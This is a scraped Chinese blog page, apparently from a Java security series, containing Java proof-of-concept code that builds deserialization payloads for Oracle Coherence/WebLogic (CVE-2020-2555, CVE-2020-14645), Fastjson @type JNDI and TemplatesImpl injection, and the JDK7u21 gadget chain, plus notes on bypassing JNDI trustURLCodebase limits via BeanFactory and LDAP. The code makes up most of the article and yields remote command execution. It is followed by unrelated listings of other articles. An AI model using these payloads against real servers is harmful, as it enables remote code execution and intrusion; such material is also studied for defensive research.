import com.javasec.utils.SaveSerializeData;
import com.javasec.utils.SerWithUnSer;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;/* CVE-2020-2555* Gadget:*   BadAttributeValueExpException#readObject*     LimitFilter#toString*       ChainedExtractor#extract*         ReflectionExtractor#extract*         ReflectionExtractor#extract*         ReflectionExtractor#extract* 1. 构造payload时使用的Coherence依赖版本需要和目标使用的Coherence版本一致* 2. Oracle weblogic 12.1.3.0.0/12.2.1.1.0/12.2.1.2.0/12.2.1.3.0/12.2.1.4.0* */
public class Coherence01 {public static byte[] getSerializeData() throws Exception{// 创建 ValueExtractor[] 数组ValueExtractor[] valueExtractors = new ValueExtractor[]{new ReflectionExtractor("getMethod",new Object[]{"getRuntime",new Class[0]},1),new ReflectionExtractor("invoke",new Object[]{null,new Object[0]},2),new ReflectionExtractor("exec",new Object[]{ParseArgs.cmd},3)};ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);LimitFilter limitFilter = new LimitFilter();BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);// 反射对字段进行赋值Reflect.reflectSetField(badAttributeValueExpException,"val",limitFilter);Reflect.reflectSetField(limitFilter,"m_comparator",chainedExtractor);Reflect.reflectSetField(limitFilter,"m_oAnchorTop",Runtime.class);byte[] bytes = SerWithUnSer.serializeObject(badAttributeValueExpException);return bytes;}public static void main(String[] args) throws Exception{ParseArgs.parseArgs(args);byte[] bytes = getSerializeData();SaveSerializeData.save(bytes);SerWithUnSer.unSerializeObject(bytes);}
}

Coherence03_CVE-2020-14645

ExtractorComparator#compare方法可以调用任意类的extract方法
UniversalExtractor#extractComplex可以调用getXXX/isXXX方法
JdbcRowSetImpl#getDatabaseMetaData方法可以实现jndi连接。

package com.javasec.pocs;import com.javasec.utils.ParseArgs;
import com.javasec.utils.Reflect;
import com.javasec.utils.SaveSerializeData;
import com.javasec.utils.SerWithUnSer;
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.UniversalExtractor;
import java.util.PriorityQueue;
/* CVE-2020-2555* Gadget:*   PriorityQueue#readObject*     ExtractorComparator#compare*       UniversalExtractor#extract*         UniversalExtractor#extractComplex*           JdbcRowSetImpl#getDatabaseMetaData*             JdbcRowSetImpl#connect* 1. 这条链只能用于 12.2.1.4.0 版本依赖,因为 UniversalExtractor 类是 12.2.1.4.0 版本特有的!* */
public class Coherence03 {public static byte[] getSerializeData() throws Exception{JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();// 设置恶意jndi地址jdbcRowSet.setDataSourceName(ParseArgs.jndi);UniversalExtractor universalExtractor = new UniversalExtractor();ExtractorComparator extractorComparator = new ExtractorComparator();PriorityQueue priorityQueue = new PriorityQueue(2, extractorComparator);Reflect.reflectSetField(extractorComparator,"m_extractor",universalExtractor);Reflect.reflectSetField(universalExtractor,"m_fMethod",false);// 反射设置m_aoParam属性值,让其长度为0或者值为nullReflect.reflectSetField(universalExtractor,"m_aoParam",new Object[]{});// 反射设置m_sName属性值,让其为需要调用的isXXX/getXXX方法Reflect.reflectSetField(universalExtractor,"m_sName","getDatabaseMetaData()");// 先往priorityQueue添加两个元素,否则后面对queue[] 数组的操作无法添加真正的元素到priorityQueue中,此处try catch捕获异常,让程序继续往下执行try {priorityQueue.add(1);priorityQueue.add(2);}catch (Exception e){}// 反射获取queue[] 数组,并赋值第一个元素为jdbcRowSetObject[] queue = (Object[]) Reflect.reflectGetField(priorityQueue, "queue");queue[0] = jdbcRowSet;byte[] bytes = SerWithUnSer.serializeObject(priorityQueue);return bytes;}public static void main(String[] args) throws Exception{ParseArgs.parseArgs(args);byte[] bytes = getSerializeData();SaveSerializeData.save(bytes);SerWithUnSer.unSerializeObject(bytes);}
}

Fastjson01

jndi利用链添加 autoCommit 属性是为了在还原对象时调用JdbcRowSetImpl#setAutoCommit方法,进而调用connect方法触发Gadget
TemplatesImpl利用链需要添加 _tfactory 属性,否则在JDK8u202会抛出异常而导致无法完成Gadget
TemplatesImpl利用链因为 _name/_tfactory/_bytecodes 等字段是私有属性且没有对应的set方法,所以需要设置第二个参数为Feature.SupportNonPublicField,这是利用 TemplatesImpl 局限的地方!
json还原对象属性会调用其setXXX方法进行设置，即使是不存在这个属性也会调用setXXX，jndi利用链就利用了这一点
TemplatesImpl利用链中的_outputProperties属性会调用getOutputProperties方法，可以在DefaultFieldDeserializer#parseField下断点跟进！
可以在Fastjson1.2.22-24版本依赖下使用,后面的版本中把com.sun包下的类的都禁止还原了!可在checkAutoType#checkAutoType方法下断点

package com.javasec.pocs;import com.alibaba.fastjson.parser.Feature;
import com.javasec.utils.CreateTemplatesImpl;
import com.javasec.utils.ParseArgs;
import com.alibaba.fastjson.JSON;
import com.javasec.utils.SavePayloadToFile;
import java.util.Base64;
/** Gadget:*   1) Jndi  *        JdbcRowSetImpl#setAutoCommit*          JdbcRowSetImpl#connect*   2) TemplatesImpl  *        TemplatesImpl#getOutputProperties*          TemplatesImpl#newTransformer* 1. 可以在Fastjson1.2.22-24版本依赖下使用,后面的版本中把com.sun包下的类的都禁止还原了!可在checkAutoType#checkAutoType方法下断点* 2. 可以在高版本下使用* */
public class Fastjson01 {public static String getSerializeDataJndi() throws Exception{// 添加 autoCommit 属性是为了在还原对象时调用JdbcRowSetImpl#setAutoCommit方法,进而调用connect方法触发GadgetString jsonString = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\""+ParseArgs.jndi+"\",\"autoCommit\":true}";System.out.println(jsonString);return jsonString;}public static String getSerializeDataTemplatesImpl() throws Exception{// 需要添加 _tfactory 属性,否则在JDK8u202会抛出异常而导致无法完成Gadget,没有 _tfactory 属性可以在JDK8u11下成功,只测试了这两个版本String jsonString = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_tfactory\":{},\"_name\":\"ky0118\",\"_bytecodes\":[\""+ Base64.getEncoder().encodeToString(CreateTemplatesImpl.getEvilBytes())+"\"],\"_outputProperties\":{}}";System.out.println(jsonString);return jsonString;return null;}public static void main(String[] args) throws Exception{ParseArgs.parseArgs(args);if (ParseArgs.jndi != null){String jsonString = getSerializeDataJndi();SavePayloadToFile.save(jsonString);JSON.parse(jsonString);}else if (ParseArgs.cmd != null){String jsonString = getSerializeDataTemplatesImpl();SavePayloadToFile.save(jsonString);// 这里因为 _name/_tfactory/_bytecodes 等字段是私有属性且没有对应的set方法,所以需要设置第二个参数为Feature.SupportNonPublicField,这是利用 TemplatesImpl 局限的地方!JSON.parse(jsonString, Feature.SupportNonPublicField);}}
}

JDK7u21

使用 LinkedHashSet 使得兼容性更好
在LinkedHashSet .add的时候也会触发链，需要在add之前对InvocationHandler的memberValues/type属性赋值，否则会抛出异常导致无法继续往下执行！
需要保证AnnotationInvocationHandler.memberValues属性值经过AnnotationInvocationHandler#hashCode处理之后和templatesImpl的hash值相等，为的是能成功调用key.equals 方法

package com.javasec.pocs;import com.javasec.utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.Map;
/** Gadget:*   HashSet#readObject*     AnnotationInvocationHandler#invoke*       TemplatesImpl#newTransformer* 1. 只能在JDK7u21以下版本使用!* */
public class JDK7u21 {public static byte[] getSerializeData() throws Exception{// 创建恶意 TemplatesImpl 对象TemplatesImpl templatesImpl = CreateTemplatesImpl.createTemplatesImpl();// 这里使用 LinkedHashSet 是为了兼容性问题LinkedHashSet hashSet = new LinkedHashSet();InvocationHandler invocationHandler = (InvocationHandler) Reflect.reflectGetObject("sun.reflect.annotation.AnnotationInvocationHandler", new Class[]{Class.class, Map.class}, new Object[]{null, null});// 创建动态代理对象Templates proxyTemplates = (Templates) Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[]{Templates.class}, invocationHandler);HashMap hashMap = new HashMap();// 反射对字段进行赋值Reflect.reflectSetField(invocationHandler,"memberValues",hashMap);Reflect.reflectSetField(invocationHandler,"type",Templates.class);// 这里需要前面的对memberValues/type反射赋值然后再添加元素,否则会因为没有值而报错!hashSet.add(templatesImpl);hashSet.add(proxyTemplates);// 这里需要对 hashMap 赋值,保证 hashMap,也就是AnnotationInvocationHandler.memberValues属性值经过AnnotationInvocationHandler#hashCode处理之后和templatesImpl的hash值相等hashMap.put("f5a5a608",templatesImpl);byte[] bytes = SerWithUnSer.serializeObject(hashSet);return bytes;}public static void main(String[] args) throws Exception{ParseArgs.parseArgs(args);byte[] bytes = getSerializeData();SerWithUnSer.unSerializeObject(bytes);SavePayloadToFile.save(bytes);}
}

Bypass JNDI 8u191

JNDI 利用 RMI 的版本限制在 com.sun.jndi.rmi.registry.trustURLCodebase/com.sun.jndi.cosnaming.trustURLCodebase 这两个属性上，也就是网上说的 com.sun.jndi.rmi.object.trustURLCodebase/com.sun.jndi.cosnaming.object.trustURLCodebase ，在 JDK 6u132/JDK 7u122/JDK 8u113 以上的版本中这些属性默认为 false ，也就是默认不允许从远程服务器上加载 Reference 的工厂类！

对属性值的检验在 RegistryContext#decodeObject 方法上
JNDI 利用 LDAP 的版本限制在 com.sun.jndi.ldap.VersionHelper12 属性上，也就是网上说的 com.sun.jndi.ldap.object.trustURLCodebase ，在 JDK 11.0.1/JDK 8u191/JDK 7u201/JDK 6u211 以上的版本这些属性默认为 false，也就是默认不允许从远程服务器上加载 Reference 的工厂类！

对属性值的检验在 com.sun.naming.internal#loadClass 方法上
JNDI利用RMI会先找到这个类，然后再通过 Class.forName(className,true) 获取 Class，并实例化后强制转换为 ObjectFactory 类然后调用 ObjectFactory.getObjectInstance 方法！既然无法远程加载factory，那么让factory为本地的类，这里用到的是 BeanFactory 类，BeanFactory#getObjectInstance存在动态方法调用！通过构造可以RCE！
JNDI利用LDAP，当LDAP服务器返回的数据中存在 javaserializeddata 字段则会把这个字段的数据进行反序列化，构造恶意 javaserializeddata 字段数据即可！相当于是提供了一个反序列化接口！

查看全文
如若内容造成侵权/违法违规/事实不符，请联系编程学习网邮箱：809451989@qq.com进行投诉反馈，一经查实，立即删除！

Qt5.9安装教程以及找不到.dll文件编译问题的解决
Qt5.9安装教程即编译问题的解决官方下载版本5.9 本人下载的是5.9.2版本，下载成功双击进入页面后到下面部分，直接注册即可。安装路径选择自己要安装的位置，建议不要再C盘，注意安装的位置中不能有中文否则会报错继续下一步&am…...
2024/4/14 13:25:19
Transformer主干网络——TNT保姆级解析
前言论文地址：arxiv 代码地址：github 接收单位：NeurIPS 2021 系列文章 Transformer主干网络——PVT_V1保姆级解析 Transformer主干网络——PVT_V2保姆级解析 Transformer主干网络——T2T-ViT保姆级解析 Transformer主干网络——TNT保姆级…...
2024/4/14 13:23:27
02、SpringBoot 自定义starter
自定义starter 01、starter作用依赖聚合自定义配置类 Bean属性配置类 02、starter的命名规范官方：spring-boot-starter -xxxx自定义：xxx-boot-starter 03、实现步骤标准的starter工程分为两个： xxx-boot-autoconfiguration META-I…...
2024/4/14 13:23:27
边境的悍匪—机器学习实战：第六章决策树
第六章决策树文章目录第六章决策树前言一、思维导图二、主要内容1、训练和可视化决策树2、做出预测3、估计类概率4、CART训练算法5、计算复杂度6、基尼不纯度或熵7、正则化超参数8、回归9、不稳定性三、课后练习四、总结前言前一章我们学习一个很强大的机器学习模型&#…...
2024/4/14 13:23:27
KVM之Hypercall机制
这里只关注x86架构。按内核文档中，x86架构下，KVM Hypercall是一个3字节的指令，vmcall指令或者vmmcall指令。通过寄存器rbx、rcx、rdx、rsi，最多传输四个参数。然后hypercall的调用号存放于rax，并且调用返回值也存放…...
2024/4/30 2:24:30
.NET应用程序安全操作概述
目录介绍 .NET Framework 更新框架安全公告 .NET Framework 资料存取加密一般 ASP NET Web表单指南 HTTP验证和编码表格认证 ASP NET MVC指南 A1注射 A2身份验证失败 A3敏感数据暴露 A4 XML外部实体（XXE） A5损坏的访问控制 A6安全…...
2024/4/19 13:55:57
Python学习---py03 基本内置数据类型介绍
1.整型 2.浮点型小数，3.14或者科学计数法314e-2 3.布尔型表示真假，仅包含：True ,False 4.字符串型由字符组成的序列，“abc”,“你好” 运算符说明示例结果加法325-减法30-525*乘法3*618/浮点数除法8/24.0//整数除法7//23…...
2024/4/18 17:49:35
与shell相关的命令介绍
1.case语句 #!/usr/bin/bashecho "input passwd" read linecase "$line" in[yY][eE][sS] | [yY] ) echo "this is yes";;no ) echo "this is no";;* ) echo "this is ***";; esac 2.函数 #1.函数的基本形式,与C语言函数形…...
2024/4/18 12:22:56
打包发布npm包
开发属于自己的包初始化包的基本结构 1.新建itheima-tools文件夹，作为包的根目录 2.在itheima-tools文件夹中，新建如下三个文件： package.json(包管理配置文件) index.js(包的入口文件) README.md(包的说明文档) 举例： //pack…...
2024/4/14 13:24:13
2022/1/19 考试总结
7:30~8:20 看完题之后先把T3 的50分写了，其余的题没什么思路 8:20~9:20 T4的O(n2V)O(n^2V)O(n2V)很好写，但是不知道怎么优化似乎可以wqs二分，但是写起来比较麻烦，就先没写 9:20~10:20 去做看起来最可做的T1，但是…...
2024/4/17 13:05:24
多通道输入与多通道输出的理解与实现
多输入通道（互相关） 例如彩色图像具有标准的RGB通道来代表红、绿和蓝。当我们添加通道时，我们的输入和隐藏的表示都变成了三维张量。例如，每个RGB输入图像具有3hw3hw的形状。将这些张量ci连结在一起可以得到形状为cikhkw的卷积…...
2024/5/3 2:11:50
线性代数及矩阵论（九）
文章目录二十九、相似矩阵和若尔当形1.相似矩阵2.若尔当形第三十讲：奇异值分解第三十一讲：线性变换及对应矩阵二十九、相似矩阵和若尔当形在本讲的开始，先接着上一讲来继续说一说正定矩阵。正定矩阵的逆矩阵有什么性质？我们将正…...
2024/4/20 15:09:38
封装react-native组件开源到npm
前奏做前端也有一段时间了，封装了大大小小很多的组件，至今自己都有点想不起来了有哪些了，但都是在项目代码里面。如果想跨项目使用，要用的时候需要一个个项目去翻找，还必须copy代码过去，着实头痛。近期…...
2024/4/14 13:23:58
用户态的内存泄漏定位，函数重载
待补充...
2024/4/26 14:35:43
linux开机自启应用启动失败解决方法
环境： redhat6 进入单用户模式，把错误的开机启动应用去掉，重新启动服务即可...
2024/4/14 13:28:46
spring cloud 集成elasticsearch 查询排序
elasticsearch 查询排序调用 SearchSourceBuilder.sort方法 sort(String name, SortOrder order) name:字段名 SortOrder：SortOrder.DESC 倒序，SortOrder.ASC 正序代码如下： SearchSourceBuilder searchSourceBuilder new SearchSourc…...
2024/4/14 13:24:33
caffine 本地缓存和 currenthashmap 缓存以及 redis 缓存关系
Caffeine 缓存和 java集合缓存以及 redis 缓存关系先比较前两着，比较显著的区别：1，Caffeine 缓存可以设定删除时间等删除条件、ConcurrentMap 代表的只JAVA集合类等只能动态添加保存，除非显示的删除（有可能内存…...
2024/4/28 9:45:04
将BMP 格式图片转换为 JPEG 格式【c语言源码】
原理及代码讲解链接: https://blog.csdn.net/qq_44394952/article/details/122587306?spm1001.2014.3001.5502. 主函数main() int main() {int mm 2;printf(" 功能：将BMP格式图片转换为JPG格式\n");while(mm ! 1 ){printf("\n&qu…...
2024/4/17 21:48:33
西北工业大学NOJ-Python程序设计作业81-90
西北工业大学NOJ-Python程序设计作业题解集合： NOJ-Python程序设计：第1季：水题(Season 1-Easy) （1-10） NOJ-Python程序设计：第2季：小段代码(Season 2-Snippet) （11-20） N…...
2024/4/14 13:24:23
PAT乙级 1005 继续(3n+1)猜想 (25 分)
卡拉兹(Callatz)猜想已经在1001中给出了描述。在这个题目里，情况稍微有些复杂。当我们验证卡拉兹猜想的时候，为了避免重复计算，可以记录下递推过程中遇到的每一个数。例如对 n3 进行验证的时候，我们需要计算 3、5、8、4、2、1&a…...
2024/4/14 13:24:18

重构java安全

URLDNS

commons-collections01

commons-collections06

commons-collections02

commons-collections03

commons-collections04

commons-collections05

commons-collections07

Beanutils

JDBCUnserialize

Coherence01_CVE-2020-2555

Coherence03_CVE-2020-14645

Fastjson01

JDK7u21

Bypass JNDI 8u191

相关文章

最新文章